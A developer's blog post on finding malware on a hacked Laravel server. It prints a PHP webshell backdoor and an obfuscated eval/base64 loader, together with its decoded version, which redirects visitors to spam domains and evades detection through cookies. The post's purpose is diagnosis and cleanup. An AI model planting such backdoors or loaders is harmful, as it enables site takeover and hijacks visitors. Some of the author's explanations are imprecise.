Tracking down a malware

Tracking down a malware

A few months ago, While I was pushing some code up to my server. I noticed something strange. The website I was setting up started to redirect to a spam site.

the spam site

the spam site

https://allowandgo.com/?p=gm3ggojwgq5gi3bphezda This was the URL it was redirecting to. At first, I did not expect anything bad was happening because this direct might have been a mistake I did in an Nginx config file or Cloudflare. I tried to look for what was causing this redirect issue. I checked if the IP set in the Cloudflare for the domain was correct or not and also did multiple checks with the Nginx configuration file. Nothing unusual was going on. A couple of mins after I loaded the site again and it was working fine. Well not exactly, You see the issue was it was redirecting back to that spam site after awhile again. At this point, I knew something was up with the server and it's been hacked.

Looking for the root

The first thing I did was to check all of my Nginx configuration files. There weren't any unusual files or configurations added so I look through the .htaccess files in all of my projects. Nop nothing unusual ._.

Next, I started checking if the database had any unserialized codes added. There were few spams from a comment section I had in my blog but they were serialized properly so It was not something harmful.

Found it!

A couple of days went by I still had no idea what was causing the issues. Until today I started digging through the actual code base of a site. The site was running laravel so I looked through the public directory and there was file named 7EAhufBQ.php

<?php
// do not delete this file!
define("LaravelLicense", "193582933013");																	extract($_POST);$c($f, $a);include $f;

Here is the code that was in it. Which just extracts any incoming post request payload into the directory. Well, now whoever was attacking had a way to inject any codes into my site. But this still doesn't show the fact that I was getting directed to a spam site. then I checked the laravel application entry file (index.php). At the top, there was a base64 encoded string.

/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly93d3cucm94b2Vub3MueHl6IjsKICAgICRjaGVja0Nvb2tSZWRpclN0ciA9ICJhZU5lZThwaSI7CiAgICAkcmVkaXJlY3RBbGxvdyA9IHRydWU7CiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/

The code was calling the PHP eval function and passing the decoded data of the base64 encoded string. Which then PHP will execute.

So I did a decoding of that base64 string and oh boy it was valid PHP code hidden in that string. that directs the site to a spam site. The cookie time explains why it was redirecting sometimes and the site was functioning the way it should after the redirect. I believe this was done so that the victim doesn't suspect any foul play.

if(!defined("chaeJou7")){
    define("chaeJou7", 1);
    function isMobile($uagentStr){
        if(strpos($uagentStr, 'android') !== false || strpos($uagentStr, 'blackberry') !== false
            || strpos($uagentStr, 'iphone') !== false || strpos($uagentStr, 'ipad') !== false
            || strpos($uagentStr, 'ipod') !== false || strpos($uagentStr, 'opera mini') !== false
            || strpos($uagentStr, 'ieMobile') !== false){
            return true;
        }
        return false;
    }

    function isDesktop($uagentStr){
        if(strpos($uagentStr, 'edge') !== false || strpos($uagentStr, 'msie') !== false
            || strpos($uagentStr, 'opr') !== false || strpos($uagentStr, 'chromium') !== false
            || strpos($uagentStr, 'firefox') !== false || strpos($uagentStr, 'chrome') !== false){
            return true;
        }
        return false;
    }

    $redirTo = "https://www.roxoenos.xyz";
    $checkCookRedirStr = "aeNee8pi";
    $redirectAllow = true;
    foreach ($_COOKIE as $cookKey=>$cookVal){
        if (strpos($cookKey, 'wordpress_logged_in') !== false || $cookKey == $checkCookRedirStr) {
            $redirectAllow = false;
            break;
        }
    }

    $uagent = strtolower($_SERVER['HTTP_USER_AGENT']);

    if ($redirectAllow){
        if(isMobile($uagent) || isDesktop($uagent)) {
            setcookie($checkCookRedirStr, "1", time() + 604800);
            header("Location: $redirTo");
            die;
        }
    }
}

How to fix

It's really easy to fix this issue. You just have to remove the code above the index.php that is doing the eval of the base64 encoded string. And remove the file that had the extracted code in it.

How did I get hacked in the first place

This I am not yet sure but the most likely way it was done is called gadget chain. Read more about deserialization of gadget chain at https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/.

This vulnerability exists if you have a file input for file uploading or image uploading that is not being sanitized properly. If you are using the Guzzle old version this exploit still exists and it was patched in the latest version of Guzzle.

Always remember to validate and sanitize all of the data that is being uploaded to your site to avoid these kinds of exploits from happening.

Have an awesome day 😃